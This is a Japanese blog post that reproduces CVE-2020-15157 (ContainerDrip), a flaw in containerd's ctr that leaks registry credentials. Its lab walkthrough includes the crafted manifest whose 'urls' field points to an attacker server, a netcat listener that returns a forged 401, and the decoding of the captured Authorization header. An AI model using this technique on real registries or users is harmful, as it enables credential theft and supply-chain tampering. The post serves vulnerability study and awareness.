knqyf263's blog

自分のためのメモとして残しておくためのブログ。

CVE-2020-15157 (ContainerDrip) を試す

Write-up公開直後に試してたんですが、諸事情で公開を待っていたやつです(後述)。

概要

9, 10月と専業主婦をやっていてしばらく今日の献立しか頭になかったのでリハビリがてら簡単そうな脆弱性を触ってみました。

ContainerDripという名前から想像されるようにcontainerd脆弱性です。発見者が丁寧に解説も書いてくれています。2020/10/15に公開されています。

darkbit.io

ということで概要は上のブログを見れば理解できます。簡単に説明すると、containerdのctrコマンドで細工されたイメージをpullする時に認証情報を誤って流出させてしまうという脆弱性です。攻撃者の用意したイメージをpullしないといけないので外部からの能動的な攻撃が可能なわけではなく即座に危険ということはないですが、それでもpullするだけで刺さってしまうので攻撃実現性が著しく低いわけでもありません。

認証情報が流出すれば攻撃者はレジストリに任意のイメージをpush可能になるので、イメージにバックドアを仕込まれたり仮想通貨マイナーを仕込まれたりしますし、クラウドサービスの設定によっては他のAPIを叩けてしまう可能性もあります(後述)。

こちらにも解説ブログがありますので一応載せておきます。

blog.aquasec.com

脆弱性詳細

コンテナイメージはコンテナレジストリに保存されるわけですが、大きく分けてマニフェスト・コンフィグ・レイヤーの3つで構成されています。マニフェストというのはレジストリにおけるそのイメージのメタ情報を含んでいて、レイヤーのハッシュ値とかが書いてあります。クライアントはまず最初にマニフェストを取得し、次にハッシュ値に応じたレイヤーを取りに行くという流れでイメージのpullは行われています。普段docker pullするだけで中がどうなってるのか分からない人は挙動を理解するためのブログがあるのでそちらを併せて見てください。

knqyf263.hatenablog.com

このレジストリAPIで使われるマニフェストは以下で仕様が定義されています。

docs.docker.com

マニフェストの例は以下のようになります。

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
    "config": {
        "mediaType": "application/vnd.docker.container.image.v1+json",
        "size": 7023,
        "digest": "sha256:b5b2b2c507a0944348e0303114d8d93aaaa081732b86451d9bce1f432a537bc7"
    },
    "layers": [
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 32654,
            "digest": "sha256:e692418e4cbaf90ca69d05a66403747baa33ee08806650b51fab815ad7fc331f"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 16724,
            "digest": "sha256:3c3a4604a545cdc127456d94e421cd355bca5b528f4a9c1905b15da2eb4a4c6b"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 73109,
            "digest": "sha256:ec4b8955958665577945c89419d1af06b5f7636b4ac3da7f12184802ad867736"
        }
    ]
}

先ほど説明したようにlayersの下に3つの要素があり、それぞれにdigestが存在しています。ここから3つのレイヤーでイメージが構成されていることが分かります。これは通常のマニフェストなのですが、実は先程のページ内でlayersの下に定義可能なフィールドが実は4つあることが分かります。例ではmediaType, size, digestの3つしかないですが、urlsというフィールドも定義されています。

f:id:knqyf263:20201030160013p:plain

urlsのフィールドの説明には以下のように書いています。

Provides a list of URLs from which the content may be fetched. Content should be verified against the digest and size. This field is optional and uncommon.

通常であればマニフェストと同じサーバにレイヤーも存在するわけですが、urlsを指定した場合はクライアントに別サーバに取得しにいかせることが可能ということです。This field is optional and uncommon. といかにもセキュリティリサーチャーが好きそうなことが書いてあります。"ここに脆弱性がありまぁす"と宣言しているようなものです。

自分はcurlでpullをするブログでもこのドキュメントに触れていますし、定期的に読んでいるので2万回以上は見ています。なのでurlsの存在ももちろん知っていたのですが最近は能動的に脆弱性を探すことはしないポリシーなので普通にスルーしちゃっていました。自分もある時点からOSS開発者という自覚を持つようになってしまったので、他OSS脆弱性を見つけると動悸がするんですよね...

ということで今回の脆弱性はこのurlsを悪用したものとなっています。ctrによって認証情報が流出するのは以下の流れです。

  1. ctrレジストリAからイメージのマニフェストをダウンロードする(この時仮に認証情報Xを使うとする)
  2. 取得したマニフェストurlsを含んでおり、レジストリBを指している
  3. ctrはレイヤーをレジストリBから取得しようとする(認証情報なし)
  4. レジストリBは401 Unauthorizedを返す
  5. ctrは誤って認証情報XをレジストリBに送ってしまう

認証情報XというのはレジストリAのためのものであって、それを誤ってレジストリBに送ってしまえばレジストリBの所有者に見られてしまいます。つまり、攻撃者が自分の用意したサーバをurlsに指定して、その細工したマニフェストを持つイメージをpullさせれば自分の用意したサーバに認証情報Xを送らせることが可能ということです。その後は得た認証情報XでレジストリAにログインして悪の限りを尽くせば完了です。

ここで、先程の発見者によるブログでは現実的なシナリオとしてGKEを挙げています。cos_containerdをノードとして利用するとGKEクラスタcontainerdが使用できます。

cloud.google.com

そしてGKE上から攻撃者がGCRに用意したイメージをpullさせます。

---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: honk
  labels:
    app: honk
spec:
  replicas: 1
  selector:
    matchLabels:
      app: honk
  template:
    metadata:
      name: honk
      labels:
        app: honk
    spec:
      containers:
        - name: honk
          image: gcr.io/my-project-name/myimage:latest
          imagePullPolicy: Always

この時、GCRからイメージをpullするためにGKEクラスターにアタッチされたService Accountを利用します。

cloud.google.com

このService Accountが攻撃者に流出するということになります。ただしGKEではscopeを絞っているらしく、デフォルトでは権限はそこまで強くないとのことです。

cloud.google.com

ここら辺の設定で強めの権限を付与してしまっていたりすると、レジストリの認証情報流出にとどまらずアカウント乗っ取りにつながる可能性があるということです。詳細が気になる人は発見者ブログを見て下さい。

ということで詳細の説明終わりです。

試す

解説見てふーんで終わりだと面白くないので自分で試してみましょう。

Docker Registry作成

まずレジストリが必要なのでコンテナで起動します。自前でDocker RegistryをホスティングできるようにOSSレジストリがDockerから提供されています。

docs.docker.com

単に起動するだけなら registry:2 をdocker runすれば良いのですが、今回は認証ありにしたいので最初にhtpasswdを用意します。

$ export AUTH_DIR=$(mktemp)
$ docker run --rm --entrypoint htpasswd registry:2.7.0 -Bbn testuser testpassword > $AUTH_DIR/htpasswd

testuser:testpasswordでhtpasswdを作成しました。ちなみにドキュメントではregistry:2でhtpasswdを打ってますが、最新のイメージだとhtpasswdが入ってなくて動きません。なので2.7.0を指定しています。Request docs changesから修正リクエスト出せるので、貢献するチャンスかもしれません。

では起動します。

$ docker run -d \
  -p 5000:5000 \
  --restart=always \
  --name registry \
  -v $AUTH_DIR:/auth \
  -e "REGISTRY_AUTH=htpasswd" \
  -e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \
  -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \
  registry:2.7.0

これでDocker Registryの起動は終わりです。

イメージのpush

先程立ち上げたDocker Registryに適当なイメージをpushしましょう。

$ docker pull alpine:3.11
$ docker tag alpine:3.11 localhost:5000/alpine:3.11
$ docker push localhost:5000/alpine:3.11
The push refers to repository [localhost:5000/alpine]
3e207b409db3: Preparing
no basic auth credentials

設定したとおり、認証が必要になっています。ということでdocker loginします。

$ echo testpassword | docker login localhost:5000 -u testuser --password-stdin
Login Succeeded

改めてpushします。

$ docker push localhost:5000/alpine:3.11
...
3.11: digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01 size: 528

エラーが出なければOKです。

マニフェストの確認

マニフェストを確認してみます。

$ curl -s -u "testuser:testpassword" -H "Accept: application/vnd.docker.distribution.manifest.v2+json" http://localhost:5000/v2/alpine/manifests/3.11
 | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "digest": "sha256:cbdbe7a5bc2a134ca8ec91be58565ec07d037386d1f1d8385412d224deafca08"
    }
  ]
}

Acceptヘッダーを指定しないとv1のマニフェストが返ってきちゃうので気をつけて下さい。認証が必要なので-uオプションで渡しています。JSONを見て分かる通り、digestが指定されています。これを細工します。

マニフェストの更新

上のマニフェストを保存してdigestを削除しurlsを足します。今回は http://localhost:10000 を用意しています。面倒なので両方localhostでやっていますが、これは実際には別サーバだと思って下さい。

$ cat manifest.json
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1507,
    "digest": "sha256:f70734b6a266dcb5f44c383274821207885b549b75c8e119404917a61335981a"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 2813316,
      "urls": [
        "http://localhost:10000"
      ]
    }
  ]
}

これをレジストリにPUTします。

curl -s -u "testuser:testpassword" -H "Content-type: application/vnd.docker.distribution.manifest.v2+json" -XPUT -d@manifest.json http://localhost:5000/v2/alpine/manifests/3.11

これで準備OKです。うまく設定できたかもう一度GETで確かめても良いと思います。

攻撃者のサーバを準備する

では攻撃者サーバ想定である http://localhost:10000 を用意します。これは単にncで良いです。

$ nc -kl 10000

ctrでpullする

自分が使ったバージョンは以下です。

$ ctr -v
ctr containerd.io 1.2.13

ctrでpullします。認証が必要なので--userで渡しています。

$ ctr image pull --user testuser:testpassword localhost:5000/alpine:3.11

するとncしていた方には以下のようなリクエストが飛んできます。

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
Accept-Encoding: gzip

まだ認証情報は飛んできていません。攻撃者サーバで401 Unauthorizedを返す必要があります。

401を返す

適当に以下のようなファイルを用意します。

$ cat response.txt
HTTP/1.0 401 Unauthorized
Docker-Distribution-Api-Version: registry/2.0
Www-Authenticate: Basic realm="Registry Realm"

あとはこれをncに渡してレスポンスとして返すようにすればOKです。

$ ( cat response.txt ) | nc -kl 10000

再度ctrでpullをするとまず通常のリクエストが飛んできて、401を返したあと以下のリクエストが来ます。

$ ( cat response.txt ) | nc -kl 10000
...

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3N3b3Jk
Accept-Encoding: gzip

Authorization ヘッダが含まれていることが分かります。

$ echo dGVzdHVzZXI6dGVzdHBhc3N3b3Jk | base64 -d
testuser:testpassword

ということで無事にusername/passwordを取得できました。攻撃者は認証情報を得たのであとは好きにレジストリを操作できます。

余談

この検証自体はすぐに終わってブログも公開しようと思ったのですが、実はこの脆弱性を検証している時に某OSSに別の脆弱性を見つけてしまいました。念のためmasterから落としてきてソースコードを読んでデバッガでも試したのですが、やはり刺さる作りになっていましたし再現しました。そこそこインパクトのあるものでしたし見つけてしまった以上は報告しておくかということで報告したのですが、既知で修正に取り組んでいるとのことでした。じゃあその修正が公開されたらブログも公開しようということでしばらく待っていたのですが、リリースまで時間がかかりそうだったのでそちらの詳細は伏せて先にブログは公開することにしました。

そちらの脆弱性修正がリリースされたらこのブログに追記するかもしれません。

まとめ

よく知らないイメージをpullするだけでも怖いということです